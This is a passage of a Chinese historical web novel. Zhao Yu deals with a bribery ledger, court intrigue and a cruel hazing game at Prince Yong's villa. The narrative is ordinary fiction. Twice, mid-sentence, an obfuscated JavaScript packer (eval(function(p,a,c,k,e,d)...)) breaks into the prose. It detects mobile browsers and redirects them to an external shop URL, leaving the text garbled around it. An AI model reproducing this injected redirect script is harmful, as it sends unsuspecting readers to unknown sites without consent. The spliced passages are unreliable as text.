“这就算少的了。”尹徵,“老爷子没本事捞大头,这京里面的老爷们都心知肚明,每年给各位老爷们孝敬一个袋子,算是藩镇的一点心意。姐夫,江宁的老侯常驻苏州,我爹说,那里是膏腴中的膏腴。老候有本事,老爷子跟人家没法比,我听说年前老侯派人进京送钱,一出手就是这个数,还有,他给雍王越筝单独准备了一份,是这个数呢!!” 尹徵的手指动来动去,让人看着眼花缭乱的。他说着,同时开箱,从里面拿出一个锦袋子,看手指承重的感觉,挺重的。 “姐夫,崔家在冉庄有祖宅,您长住这里,认不认识什么人,看看这笔钱能不能给宁淮候崔珩送进去?” 7. 07 07 赵毓,“你跟崔侯有仇是怎么的?” “没啊!”尹桂宝儿,“宁淮侯崔珩,那可是正宗的外戚,有钱,真有钱,等闲礼金根本送不进崔家大门。” 皇帝问了一句,“这是,令尊大人的意思?” “不是,这是我的意思。”尹桂宝儿,“我另外拿过来的东西,我爹的意思好像是绕过崔府大门,但是我想着这不是病急乱投医嘛,看看姐夫是不是偶尔认识一些手眼通天的人,能把东西给崔侯抬进门?” 赵毓绕着这个木箱子走了一圈,看见里面还随着一本册子,他拿起来翻开看,——账册。 这次尹家让人去雍京送钱收礼人的名单。 他一页一页翻着。 文湛到不着急看名册。他这位君王当然不会天真的以为满朝的官员尽数恪守郑律大诰。水至清则无鱼人至察则无徒还是其次,朝廷户部账面上的俸禄根本无法维持一个衙门的运行,于是,外省的火耗,军队的吃空饷,雍京重臣的冰炭敬都是‘说不得’的规矩。 只是,隐藏在书案之下的规矩,才是人间真正的规矩。 尹桂宝儿见他们两个都不说话,抬头看着赵毓。 此时,窗子打开,初春的阳光带着和煦照进来,似乎正打在赵毓的额头上。 他低着头。 尹桂宝儿忽然有些诧异。 赵毓的五官柔美细致到了极致! 按理说他很熟悉这个人,他们是至亲,一年中很长一段时间都聚在一起,赵毓的脸他看了无数遍,他曾经自以为非常熟悉,现在看,最熟悉的也许就是最陌生的。 尹桂宝儿原来只觉得这位落魄姐夫长的非常斯文,眉眼什么的都顺眼,却也没有很出众,这个时候他发现自己瞎了眼。 他这个纨绔自诩对于人的相貌尤其是好相貌了如指掌,他也的确能看出别人看不到的地方。 就比如此时的赵毓。 ——他的脸,眉眼的形状,鼻子的高低,还有下巴的弧线,无一不似那些雕刻大师耗尽了时光与熬干了心血一刀一刀剜刻出来。那是世家子弟特有的颜色,几代人甚至是十几代人高门联姻最后结出的骨血。 不耀眼,却无可挑剔。 云中第一美男子谢家五公子在赵毓面前都会稍嫌艳俗。 ——淡极始知花更艳。 尹桂宝儿这个纨绔的脑子中忽然想起来子虚乌有写的那个话本里面的一句诗。 还有,泪痣。 赵毓的左眼下面有一颗红色泪痣,秀艳红润,像珊瑚凝结的眼泪。听人们说,长那个的人命不好,似乎一生会流很多眼泪。尹桂宝儿忽然有一种冲动,想要摸摸赵毓脸上的泪痣,是不是真的,会不会被擦去? ……他抬起了手,…… “哦呜!~~~疼疼疼!” 他的手腕被旁边那位六哥攫住,似烧火的钳子,想要活生生把他的手腕扯断。 “六哥,松手松手。” 赵毓看账册被打扰,看着嚎叫的尹桂宝儿,“怎么了这是?” 文湛松了手。 尹桂宝儿捧着手腕到赵毓面前,“我就是想要摸摸你脸上的泪痣,六哥不让,还捏我。姐夫你看,都青了。” 赵毓奇怪,“我脸上的痣有什么好摸的,谁身上还没个这个玩意?桂宝儿,你左屁股上还有一颗绿豆大的黑痣呢!” “啊!!!姐夫,你怎么知道?~~~~~你偷窥我!”尹桂宝儿臊了个大红脸,赶紧双手护住自己的屁股。 “你小时候尿床,我给你换裤子的时候看到的。”赵毓莫名其妙看着他,“什么叫我偷窥你,你一个小孩子,毛都没长全,你有什么好看的,我看你什么?” 这次,尹桂宝儿的脸色开始发青,似乎还有些黑。 “行了。”赵毓合上账目,“这些东西你先留在我这里,这些事情目前也不是你能做的。桂宝儿,听我的话,你现在先去雍京,尹家在雍京还有宅子,一直留着人看守打扫,你就住在那里,哪里也别去,谁也别见。我写信回云中,让你爹派人过来,到时候看看他老人家的意思,是接你回去还是怎么着,那就让他老人家拿主意。” 说着,赵毓揪住尹桂宝儿的后领子向外拖。 “不是,姐夫,我千里迢迢的过来,你都不留我吃顿饭?” “不但我不留你吃饭,你们在路上也别吃。我让黄瓜给你们包点干粮,骑马赶路实在饿了就啃一口。记住,路上一刻也别停留,直接去雍京。要是你们的马得力,估计今晚雍京九门落锁之前你们就能进城。” 赵格非从书房出来,看见自己的舅舅尹桂宝儿来了,但是似乎她亲爹不让他吃饭也不让他住,直接让人裹了一些干粮给送了出去。她舅双手十根手指紧拉着大门不出去,赵毓过去在他耳边说了什么,尹桂宝儿脸色一变,麻利儿的滚了。 “亲爹,您和我舅说什么了?” “我说,要是他不按照我的话去做,我就把他身上另外一个地方有黑痣的事情告诉云中那些纨绔。” 赵格非,“啊?我舅身上哪里有黑痣?” 赵毓脸色一白,咳嗽一声,说,“小姑娘家家的,打听这些做什么,去,找你黄瓜叔吃饭去。” “那您不吃饭啦?” “不吃。” “那六叔呢?” 赵格非看见文湛离自己远远的站着,似乎她变成了瘟疫。 进屋。 “令岳果然清廉自守。”文湛从木箱中拿过一个织锦袋子,在手掌中沉了沉,扔在木桌上。“分量尚可,果然如他所说,没有涸泽而渔。只是,如今这些封疆大吏们学藩镇的做派学的倒是十足。” 赵毓,“到底出了什么事?” 文湛回答,“他女儿和你在雍京街头相识的前一天,关于他私纵手下何晋杀平民贪功的弹劾奏折和一些证据从西疆运进大正宫。父皇本来想要彻查,但是后来你同尹绮罗婚事已定,父皇就将奏折留中。这些年西疆战事吃紧,尹明扬也的确得力,所以这些事情也就没有人提起。直到去年,何晋奉命镇守北境,竟然弃城而逃,致使十万城中百姓落入敌手。屠城,血流成河。裴檀克复绥靖之后看到的情景惨不忍睹。” “如今何晋已经被裴檀押解进京,就关在诏狱。他写了供状,其中一件事就是尹明扬。” 文湛慢慢靠近他,“尹明扬不像是杀人贪功的人,但是,他在何晋这件事情上肯定有私心。还有就是他女儿尹绮罗,……当初她结识你到底是什么用心,她在这件事情上又走了多远?死去的人已经死去,这些问题除了无尽的猜忌之外,永远没有答案。” 他抓住赵毓的手,发现他的手冷的像是没有生命。 “承怡!” 听到这个曾经异常熟悉的名字,赵毓陡然被惊醒! ——承怡。 承怡? 是,承怡! 赵毓记得,那是他从出生一直到二十二岁时候使用过的名字! 往事如同血雾一般弥漫了上来。 他挪动了一下脚步,站在太阳下,三月的清风吹面不寒,阳光也和煦却炽烈的照耀着。 昭昭白日,朗朗乾坤。 他闭了闭眼睛,再睁开,眼前一片清明,迷雾退去。 赵毓感觉到文湛扯着他的手,他也扣住他的十个手指。“嗯,我知道了。” 这些往事的真相虽然来的比较迟,但是终究还是来了。还有,他终于有些了解文湛一直疏远赵格非的原因了。 其实,曾经的文湛对赵格非还算亲近。 当年赵毓在皇陵守孝,赵格非母亲去世,他让人将她从云中接到雍京。女儿年幼丧母,每晚哭泣,随后就是持续的高热。那个时候的赵毓自顾不暇,根本照顾不好赵格非,文湛就帮他守着,他守一晚赵格非,第二天还要回微音殿处理那些没完没了的奏折。 赵格非病好之后,有一阵子和文湛挺亲,还曾经抓着他广袖的龙纹吃果子,吃完了,就手用他的缂丝龙袍擦嘴。当时赵毓觉得,也许文湛有一个女儿,他也会这样对待她。 赵毓忽然笑了,清清淡淡的,凝在树叶上一滴水。 他嗅到了阴谋蠢蠢欲动的味道。 离间计。 设计把赵格非送进后宫的人,必然熟知赵毓与皇帝之间的隐/情。 如果他们两个人被这件事情离间,那么以赵毓同皇帝的关系还有他的身份就是一把直接插|入皇帝心口的利剑。 文湛笑不出来,“赵格非是你的心尖子,我可不敢冒犯。要是在这件事情上犯了你的忌讳,那我岂不是百口莫辩,万死难辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728865|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其咎?” 赵毓,“我有那么浑吗?” “没有。”文湛摇头,“不过,你是否被离间是一回事,我是否给他们机会离间你是另外一回事。” 冉庄有一个非常幽静的酒楼。 ——饮水斋。 用的是如人饮水,冷暖自知的含义。 虽然这里应该热闹,但是它在一个庭院的深处,周围疏影横斜,暗香浮动,完全是闹中取静的格调。 赵格非坐在桃花边缘的雅间中,手中的书刚好翻页。 她抬眼正好看见对面她亲爹,斜着躺着一把贵州紫竹做的靠椅上,翘着二郎腿,手中拿着一本《西游记》,吃江南运过来的杨梅。 他嘴里还哼着小调,——今天好运气,老崔请吃鸡。 “亲爹,六叔走了?” “嗯。” “他每次都来去匆匆的,这次也就住了三天。上一次还是正月,也是不到两天就回去了。” “他身不由己。” “亲爹,六叔他在雍京做大官吗?” “他?”赵毓摇头,“他不做官,没那么好的命数。” 赵格非歪头想了想才问,“为什么做官的是好命?” 她爹没回答。 他们家不开火,自从赵毓带着她从云中回到冉庄,他们就绕着冉庄的各个馆子吃饭,这不,他们父女两个已经在饮水宅吃出来专供雅间同时还有两成的折扣了。 伙计引了人进来。 “姑爷。”来人是尹二十。他是尹氏的家生子,原先跟着尹明扬战西北,现在回云中做尹桂宝儿身边的护卫。“大少爷已经到雍京宅子,他让我过来,说您有重要信函要传回云中。他还叮嘱我将全套家伙什都带过来。您看,您发的信函是想要采用哪种方式的密文?” 尹明扬治军得力,他自己有自创的信函加密方式。 第一种就是切断。将一整封信件切成若干小份,交由不同的人一份一份发走,就算被敌方截获,也无法知晓信函全部消息。 第二种方法是使用密文。使用一本书,逐字标识上页数、列,第几个字,收到信件的人只要使用同一版本的书就可以将信笺的内容通读。 第三种方法是赵毓当时在军中没事的时候做出来的,虽然不是很成熟,但是更好用。每个汉字使用正负符号表达。一个汉字分两个符位,一个符位是四位正负符号,正负符号可以随心所欲的编排。这样做的好处就是能看懂的人实在太少,保密功能强,坏处就是,能看懂的人实在太少,使用不便捷。 赵毓让尹二十铺开了一张纸,拿着赵格非的羊毫笔,歪歪扭扭的写了一行大字——东西在我这里。署名是一个龙飞凤舞的赵。 赵毓,“就这个,你卷好了送回云中。” “啊?”尹二十,“姑爷,不用密文?” “不用,但是要快,如果三天之内送不到云中,……”赵毓停顿了一下,尹二十额头见了汗,就听见赵毓继续说,“那就走四天,或者五天吧。” 尹二十,“……” 晚上果然加餐,有一只烧鸡。 赵格非看着小半个桌子的饭食,忽然想起来一件很重要的事情,“亲爹,咱们家在仕农工商中是做什么营生的?” “你读书,但是考不了科举,所以你只能是半个士子。我种地,但是我只能在咱们房前屋后住处一陇葱,所以也只能是半个农民。所以咱们是半农半仕?” “每天这么吃,咱们会不会下个月揭不开锅?” 闻言,赵毓认真想了想,没说话。 赵格非又说,“我见我舅从云中带东西过来了,一箱子,都是银子,就放咱们那里了,亲爹,稳妥吗?” “稳妥。” “我怎么后来再没见到,不会让您花了吧。” “没,那个东西就在咱们的菜窖里面。” “啊?” “冬天放白菜萝卜,夏天放银子。” “亲爹,您觉得以我外祖父的洞察力,我舅从云中走了这么多天,他不知道吗?” 赵毓忽然放下筷子,“别说,我还真的要去一趟雍京。” 他在外面撅了根柳枝,学着孙行者的样子在屋子外面画了一个圈。 “闺女,别出这个圈子,我得去雍京看看你舅。” 8. 08 08 赵毓骑了一夜的马,第二天进入雍京南门的时候,正好是辰时。 雍京就是雍京。 大郑千年都城,无论岁月如何流逝,只有它在,繁华依旧。 尹宅在北城,这里都是权贵豪族的宅院。尹家的宅子虽然地段好,但是不大,只有三进的院落,十几间屋子,好在尹家没有乱七八糟的小老婆们,原来一家大小住在这里还算合适。 门房一看赵毓在门前下马,连忙迎出去。 “姑爷来了。” 门房结果赵毓手中的缰绳,看了看他。他们家的姑爷独一份,跟别人家的女婿都不一样。这位可以骑着一匹价值千金的西域良驹却穿着一身半旧布袍子。 赵毓,“大少爷在家?” 门房,“在,大少爷的朋友来了,就在花厅吃早饭呢!” 赵毓问,“对了,老爷知道大少爷在这里吗?” 门房,“知道,还发了火。飞鸽传过来的信上写的都是骂大少爷的话,还想让大少爷即刻回云中,只是,……”门房顿了顿,看着赵毓。 而赵毓则说,“只是夫人管着,老爷和夫人伉俪情深,不能太驳夫人面子。” “啊?姑爷,什么也瞒不过您!” 赵毓问完,摆摆手,那个门房牵走他的马。 尹府的花厅就种了一圈刺玫子,好养活。 但是因为刺多并且尹家又迁回了云中,这里留人不足,也就没有仔细修剪,现在长的奇形怪状的。 赵毓绕过这些,就看见尹桂宝儿并着两个纨绔正在吃枣泥包子喝粳米粥。 虽然他说过不让桂宝儿交友,安静在家中呆着,可是这么大的孩子玩心正足,他知道自己约束也约束不了那么死板。 这两位像是尹桂宝儿在雍京新交的朋友,看着眼生。 雍京城的纨绔换了一茬又一茬。 赵毓想自己二十年前,十五六岁的时候,也曾经斗鸡下注、走马章台。 那两个纨绔都是尹桂宝儿在茶楼听戏的时候认识的。 他们也没有胡闹,就是一起玩的晚了一些又看尹桂宝儿这里没有门禁,就他一个人并着那伙子下人住,他们也就没回去,在尹家过夜。 他们一件赵毓过来,年纪明显比他们大,知道是人家的大人来了,吃完饭连忙告辞出来。 花厅就赵毓和尹桂宝儿两个人。 “桂宝儿,和我说实话,你这次来雍京,是不是你娘让你来的?” “姐夫!你是妖吗?你怎么知道的?”尹桂宝儿莫名惊诧,“我爹这次是严令不让我掺和,但是我娘背后偷偷给了我盘缠还有人手,让我带着花骨朵儿的首饰就追了上来。据说我爹知道之后气的把他那把花梨木的椅子都砸了。我娘让我最近别回去,就在雍京呆着。她说,你会管我。姐夫,您在冉庄,怎么会管我在雍京?” 赵毓听着,手指点点桌面,“桂宝儿,你娘这次,可能做了一件错事。” “什么?” “那口箱子,还有宁淮侯的事情,如果让你爹处理,也许就安静的过去了,但是让你这么一折腾,我就怕。……,不过也没什么,该来的避不开。桂宝儿,你自己在雍京城踏实的住着,别出幺蛾子,这些事都是大人的事,你管不了。” “行了。”赵毓说着起身,“既然确定怎么回事了,我就回冉庄了。” “姐夫别走!”尹桂宝儿拉他,“我这里认识了几个新朋友,今天夜里有局,一起去玩玩?” 赵格非的脚踏出去他爹临走时候画的那个圈圈,一步两步,……,似乎还没有什么大问题,但是一旦她踏出雅间的小院就会有个青衣小斯过来,堆了满脸的笑,恭敬的请她回到院子中。 “令尊大人临走的时候吩咐过,让小照顾好赵姑娘,但是请您务必留在饮水斋的雅园里。如果您有任何要求,尽管吩咐小的就好。” 赵格非虽然感觉到奇诡,但是没有反抗。 她要了一碗米酒圆子,晚上来了一份鸭粥,随后是一桶热水。 两个梳着小包子头的小丫头送热水进来,还带来两个用海南黄花梨雕刻的薄木盒子上面镶嵌着贝母,其中一个里面是三套衣裙,另外一个里面是几本珍贵稀少的书籍,是前朝帝师的手稿。 于是,在吃饱喝足泡了热水澡并且有书之后,赵格非开始乐不思蜀了。 赵毓本来不想跟着尹桂宝儿出去晃动。 他问清楚事情,又交代清楚之后就想回冉庄,他在雍京多有不便。只是后来又一想,尹桂宝儿第一次晚上出去玩耍,他怕这个毛都没有长齐的小舅子被人套住,于是也就跟着他去了。 这次攒局的人是宗政文辩,他娘是敬和郡主,楚王最小的闺女,因为嫁给三等忠勇伯小儿子而从荆州搬到雍京生活。 这位宗政为人厚道,他第一眼看到赵毓的时候就感觉这个人像是谁家的穷亲戚过来蹭吃蹭喝的,但是仔细再看了一眼,感觉又不太像。但是具体是个什么人,他也看不透。 于是,他就还算和善的与尹桂宝儿连同赵毓打了招呼。 他们这次要去的地方比较隐蔽。 众人纷纷登上马车。 放下帘幕。 一众马车轻摇,一直向北行驶。 雍京北城有温泉,王公显贵们都争相在这里建别苑。 但是如今这里最好的泉水最秀美的森林只属于一个人,——雍王越筝。 宗政带这群人去的地方,正是雍王的别苑。 越筝是当今皇上最年幼的弟弟,几乎就是一母同胞,所以这位雍王年纪极轻,权位极高。 “姐夫,听说这位雍王是储君哩。” 尹桂宝儿同赵毓做一个马车,这里就他们两个,尹桂宝儿迫不及待的把这几天从新朋友那里听来的八卦要和冉庄来的姐夫分享一下。 “听说圣上特别信任宠爱他。雍王比圣上小的多,所以一直是圣上亲自调L教,就是按照储君的模子养大的。” 赵毓听着没说话。 “姐夫,你说,以后会不会这位雍王会不会……” 赵毓,“去年皇上不是立了太子了吗?” “可是,……”尹桂宝儿说,“我听说那位太子是当年东宫一个选侍生的,生母在他出生之后好像就给送进尼姑庵还是被赐死了,现在还生死不明。这样的太子,总感觉不如雍王,……” 赵毓打断他,“这样的话以后跟谁都不能乱说。桂宝儿,既然圣上立了太子,东宫的位子就是太子的。” “可是,大家都这样说!” “别人说是别人说的,你不能乱说。”一向温和的赵毓此时看起来有些严厉,“你记住,太子是皇帝的亲生儿子。亲儿子就是亲儿子,谁也比不了的亲儿子。” …… 戌正二刻,他们才到达北城雍王别苑。 这个时辰,寻常人们的一家大小已经要准备睡觉了。 这里不同,别样的风华。 这里有幽林山谷,溪水潺潺。所有的房屋具是红墙黑色琉璃瓦,显示着主人一等亲王的尊荣。庭院中种满了蘅芜芬芳,有湖,上面还有人清歌妙舞,泛着小舟。 看样子客人不止他们。 另外早有一些人已经到了,开始从曲水流觞中取出酒杯。 宗政文辩将他们带到这里自去找雍王,而剩下的这些纨绔们显然没有资格去见主人。好在这里宽松,主人家秉承登门就是客人的准则,善意招待所有能进入别苑大门的人,包括这些别宗政带进来的纨绔。 尹桂宝儿这些人都是一些官宦子弟,不是什么雍京顶级权贵豪门。 他们平时出入的场合都是一些有些小情调的风雅之地,距离雍王别苑这样的园林还差着几阶王爵。 这些孩子一到这里既新鲜又感觉有些彷徨。 他们感觉这里山好林好水好酒好果子好丝竹好舞好,总之样样都好。 “姐夫,你看这根柱子。”尹桂宝儿轻拍着长廊中的一根柱子,“咱们就得不到这种木料。这得多少钱啊!” 多少钱也买不到。 这是云贵总督专门派人进山砍下的千年老树,千山万水运进雍京,装在雍王别苑这条像巨大的游龙一般的回廊里面。 尹桂宝儿走下回廊,就听见临湖那边有一声刺耳的叫声,——啊! 随后则是一个声音带着戏谑说,“跪下,跪下把它喝干净!” 尹桂宝儿不喜欢刚才那声叫,显得有些凄厉。 他连忙走到湖边,发现这里已经围了很多人,大约就十七八位,所有人都是锦服辉煌,应该这今天别苑的客人们。 众人面前是一套石头做的桌椅,椅子上端坐一个人,而他的脚边则放着一个狗食盆,里面是一串葡萄,而他的靴子上放了一盏酒,像是等待什么人去舔。葡萄是西疆贡品,从西疆千山万水运到雍京城不必那些岭南荔枝便宜,只是,这放在狗盆中的葡萄再精贵也就是狗食。 “怎么回事?”尹桂宝儿轻声问。 “嘘~~~~~” 旁边一位穿着月白缎子的小公子看着尹桂宝儿眼生,索性开始传道受业解惑。 他说,“这是今天玩乐的项目。坐着的那个人是随侯次子石恺,他是今天的射手,而跪着的那位就是一个什么什么的小儿子,不知道是谁,也不知道被谁带进来蹭饭吃,结果被石恺的无头箭射中,成为今天的猎物。猎物就是要满足射手的一切要求,不然,他会被蒙上眼睛,捆绑双手双脚,脱光衣服扔出去。” “这样也行?” 尹桂宝儿常年在云中,他们那群纨绔最离谱的娱乐就是搂着花娘在大街上赌马,为此他们被自己家的大人骂成了人干。 他没有想到这里有人会这样做。 “那个什么什么的儿子,不也是客人吗?” “他算什么客人?没有人知道他父亲名字,也没有人知道那家人是做什么的。”月白缎子的小公子有些傲慢。 尹桂宝儿,“你以为你和他不一样吗?你只是暂时没有被那个什么箭射中而已。” “什么?” 月白缎子的小公子刚听到尹桂宝儿说话,想要反驳,那边又是一声大叫。 “我不干了!”跪地的那位忽然从地上起来,“我不干了,士可杀不可辱!” “咯咯!”坐着的石恺笑的凉薄,“这个时候想起来什么士可杀不可辱了,早干什么去了?这么点小玩笑就忍不下去,以后怎么和我们结交?你以为就凭你,就凭你老子那芝麻绿豆大的前程能进的了别苑?小子,哥哥我教你一点东西,以后终生得益。” 石恺说着,慢慢站起来,抬起一脚就把那个’猎物’重新踢翻于地。 原本在石恺脚尖上的酒盏翻滚出来,酒洒了一地。 “一开始既然跪了,就继续跪下去。刚才让你喝酒你不喝,现在就把地上的酒渍舔干净。真是天生的贱种,敬酒不吃吃罚酒。” 尹桂宝儿站不住了,他下意识的向前迈了一步,然后,他又本能的站住了。他娘总是没完没了的唠叨他:各人自扫门前雪莫管他人瓦上霜。 他以为赵毓会拦着他,谁知道他看到赵毓的时候,发现这个姐夫根本没有动。赵毓看着眼前的事情,一脸寡淡。 尹桂宝儿又向前走了一步,赵毓还是没有拦他。 于是,他大胆的走到石恺面前,从地上捡起来酒盏,从旁边的酒壶中倒了一盏新酒,双手递到石恺面前。 “这位大哥,您消消气,我再给您倒杯水酒,您……” 石恺一把就将尹桂宝儿手中的酒盏踢翻,“哪来的兔崽子,你算什么东西?” 周围有些窃窃私语,却也没有人出头。 石恺的姐姐是吉王正妻,虽然老吉王今年已经五十了,石王妃是续弦,但是即使不是原配,王妃就是王妃。石恺既是随侯小儿子又是亲王的小舅子,在场的这些不过是一些年轻的官宦子弟,自然都不敢招惹他。 “你!”石恺指着尹桂宝儿,“你也跪下,把这片酒渍舔了。” …… “你以为你和他不一样吗?你只是暂时没有被那个什么箭射中而已。” …… 尹桂宝儿刚才说这话的时候,有些人听见了,当时他们不以为然。 他们认为自己不是那个被羞辱的人,自己的爹娘在雍京城还能被叫出名字,就算是那支无头箭乱射,在自己面前也要拐弯。但是,现在他们忽然有一种不好的错觉,——自己,似乎真的和那个什么什么的儿子没什么区别,至少在随候小儿子石恺眼中。 又一只手去捡那个酒盏。 赵毓把它从地上拿起来,拎着桌面上的酒壶倒满了酒。 石恺一直以为今天在别苑的人都是一些子弟小公子,没想到眼前还有这样一位’长辈’。这位身上是灰色布衫,洗的已经掉了一些颜色。这人明显就是被人带进来的随意辱玩的猎物。 只是这些人的眼光能不能挑剔一些,找一些有些出身的人玩起来才爽快,不然和外面虽然花钱找的玩物有什么不一样?这种游戏的快乐不在于让人去做什么,而在于让什么人去做什么。 赵毓过去,径自拉石恺的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过那个石恺跑了就跑了吧,大家可以松一口气的时候,忽然,在所有人没有注意到的时候,那个什么什么的儿子,就是被石恺亲自射中的’猎物’爬上了湖面远处的假山! 他站在高处,凄惨的喊了一声——士可杀不可辱! 随后,噗通一声,直接栽进湖水。 “糟糕!” “救人,救人,有人投湖啦!” “救人,救人啊!!!” …… 众人乱叫。 别苑中山林掩盖,雍王府兵分散,他们不可能那么快赶过来,这些小公子们自己乱成一团。 所有人围到湖边。 赵毓四周瞄了瞄,他看见方才同尹桂宝儿说话的那个穿着月白缎子的小公子,于是二话不说,一抬脚,用力踢到那个小公子的屁股上直接把他踢进了湖! 噗通!! 赵毓,“救人去!” 可是,…… 那个穿着月白缎子的小公子落水之后疯狂拍水,狂叫着——“救命啊,救命啊,我不会浮水啊,救命啊!!!~~~~~~~” 尹桂宝儿看着他姐夫,再看看湖水里面的人,有些不知道要说什么。 赵毓看着水中奋力扑腾的人,他无奈趴在湖边,一伸手就抓住了那个小公子已经散乱的头发,把他揪住,拉了回来,众人七手八脚将他抬上岸边。 “你,……,你你你!” 那个小公子愤怒的眼睛看着赵毓,一脸的血泪控诉。 赵毓无奈摇头,“你真是东海水师的未来与荣光!盛执玉有你这样的儿子,上辈子肯定烧了高香。” 他边说边扯衣服,把外衣脱了扔给尹桂宝儿,从湖边一个猛子扎进去,不见踪影。 穿着月白缎子的小公子惊魂未定,哆哆嗦嗦,他疑惑。 ——这个人怎么知道我是东海水师提督盛执玉的儿子? 他爹虽然是从一品的大员,位高权重,但是因为职责所在,常镇东海,并不经常回雍京走动。 盛小公子可没有认为他爹的那张脸三教九流、贩夫走卒都认得出来,他也没有想到自己在雍王别苑遇到的陌生人可以一下子把自己连同盛执玉联系起来。 他,是谁呢? 赵毓几下子游了过去,他在那人落水的地方浮出来。他边踩水边看着他,等他叫的差不多没力气了,他游到那个人的后面,一个手刀劈在那人后脖子上,随后抓住他的头发一拖拽,游到岸边。 等他爬上岸,那个人躺在地上,已经没气了。 赵毓用力按住他的胸口,用力按压,那个溺水的人一口水喷出,缓过气来。 此时,雍王的府兵也赶到。 这个人是猎物还是客人,这些人不关心,只是如果今夜在雍王别苑出了人命,他们都要吃不了兜着走。 赵毓把自己的衣服拧了拧,扯着桂宝儿,“走,回家。” “哦。” 这样的地方也的确没什么可呆的。 尹桂宝儿,“姐夫,我去叫那些朋友一起走。” 赵毓点头,并且在回廊远处的栏杆上坐好,拧干衣服,等待尹桂宝儿。只是不一会儿,桂宝儿一个人回来了。 “怎么了?” “那些朋友结交了几个贵重的新朋友,都是宗政文辩帮忙引荐的,他们正在聊诗词歌赋,风雅到一塌糊涂,我就不破坏人家的机缘与雅兴了。”尹桂宝儿脱下来自己的一件外袍给赵毓披上,“姐夫,夜里冷,你全身湿透怕受寒,咱们赶紧回去吧。” 忽然,回廊的尽头有声音,——“雍王,雍王,是王爷来了!” 那边有个穿着淡色缂丝衣袍的年轻人,行色匆匆,他所到之处,一片跪拜。那些地位低下的侍女随从不但跪下,还将头颅压到地面上,只剩下脖子在外面伸着,像是便宜坊的鸭。 尹桂宝儿见他们可能避不开,也要准备行礼,却被赵毓一把拉住,从旁边的半月门跳出去,直接从花木丛中溜之大吉了。 不知道是不是感受到什么人的视线,他在一棵玉兰树旁边站住,扭了扭脚,回头,发现那位极有可能是雍王的人正看着他。 此时,浮云散开,皓月当空。 尹桂宝儿觉得这位雍王真是好相貌,一双秀致的眉如同鸦翅一般,只是,……不知道是不是天太黑还是他自己眼神也不好,他总感觉这位雍王的样子同那天在他姐夫屋子里面见到的男人极像,——六哥? 只是,年纪不对。 他们岁数差了几岁,这位,今年也就二十几岁吧。 那么,雍王是谁。 六哥,……,又是谁? 9. 09 09 有人敲门。 今夜事情多,尹宅门房也没有睡沉,他披衣服出来,将门打开之后,看见门外一人。 月光似乎也不敢照耀在他的脸上。 他大约三十岁,也或者是二十八I九,看不太清楚年纪,他身上是黑色缂丝翔鸾纹锦袍,萦绕着浓重的瑰奢的香气。 门房久在雍京,自然知道这件衣袍的贵重。 它的价钱的昂贵还在其次,大郑律法,只有名字写在宗室玉牒上的王公才能穿这样颜色这样纹路的缂丝锦袍。 “大人,您是,……” “我找赵毓。” “哦,您是姑爷的朋友。只是,姑爷今夜病了,不见客。”门房准备关门,“大人您明天请早。” 啪! 来人的手挡住即将合上的门。 “那我见尹徵。” 门房又推开了一些门,看见外面的阵仗,手一软,大门竟然悄无声息的被静止的夜风全部打开。 那个人身后是十位全身劲装的骑士,端坐骏马之上。 他们让人感觉到恐惧! 这并不是因为他们看上去威风凛凛,而是因为他们安静。他们安静的如同夜色一般,似乎都没有呼吸的声音,以至于方才门房根本没有发现他们的存在。 门房见这样,怕出事,连忙说,“我们大少爷倒是还没有睡,大人,我为您带路。” 尹桂宝儿刚歇口气,喝完了茶水倒在床上。 忽然,门外有人敲门,这边为他守夜的小厮连忙开门,他看见门房领着一个人进来。 “六哥?您怎么来了?” 对于那位’六哥’出现在雍京,尹桂宝儿倒是一点不稀奇。 只是,他看了看这位今晚穿的衣服。 ——黑色缂丝翔鸾纹锦袍。 尹桂宝儿感觉今天这位六哥穿这身出来,肯定是来的匆忙没来得及换一身朴素一些的衣袍。所幸夜色浓重,掩盖了很多,不然大白天这位穿着这身登门,非把邻居吓着不可。 “我找赵毓,他病了?” “我姐夫昨夜骑了一夜的马,本来就没睡,再加上今天夜里掉湖水里面捞人又着了凉,现在有些发热。我给他熬了一锅药汤,喝了已经睡了。估计今夜他醒不了,要不,您明天再过来?” “我看看他。” “成。” 尹桂宝儿冲着一直等在门外的门房摆了摆手,“你们先睡,我领着六哥过去姐夫那屋看看,你们就别管了。” “六哥,跟我这边走。” 尹桂宝儿推开赵毓的门,发现他根本没睡,而是裹着被子窝在床上嗑瓜子。 咔吧,咔吧,咔吧,…… 他手中是一个白瓷坛子,里面全是尹桂宝儿在雍京城寻摸过来的有名炒货。 赵毓回到尹宅就开始发热。 其实当时在雍王别苑已经有些不太舒服,头发懵,要不他也不会一脚把东海水师提督的儿子踢进湖中,让他去救人。但是他没有想到名震东海的盛持玉的小儿子竟然是个草包,他根本不会游水,无奈之中赵毓只能将盛小公子拉回来同时亲自下水救人。 雍王别苑绝对不能死人。 只是,强出头的后果就是发热。 太晚了,赵毓也没让桂宝儿他们找郎中,就让桂宝儿自己就着他姐姐生前留下的方子和草药熬了一锅汤,他捏着鼻子灌进去,出了一身汗,本来好一些了,睡想到现在似乎又烧了起来。 他睡不着。 这很麻烦。 他数了几百头羊的时候终于坐了起来,顺手抓过床边柜子上的瓜子花生瓷坛子就开始嗑。 “姐夫,你不是吧,……,都病成这样了一点不耽误吃。” “咦?” 高热烧的赵毓有些糊涂,再加上他晚上眼神不好,他只能隐约看见尹桂宝儿一张饼子脸上没有五官,但是看不清楚他身后的人。 “谁过来了?” 尹桂宝儿点燃了桌上的蜡,“是我。……,还有六哥。” 赵毓听出来是桂宝儿,只是他话音刚落,一只冰冷的手贴到他的额头上,他被冻得打了一个寒颤。 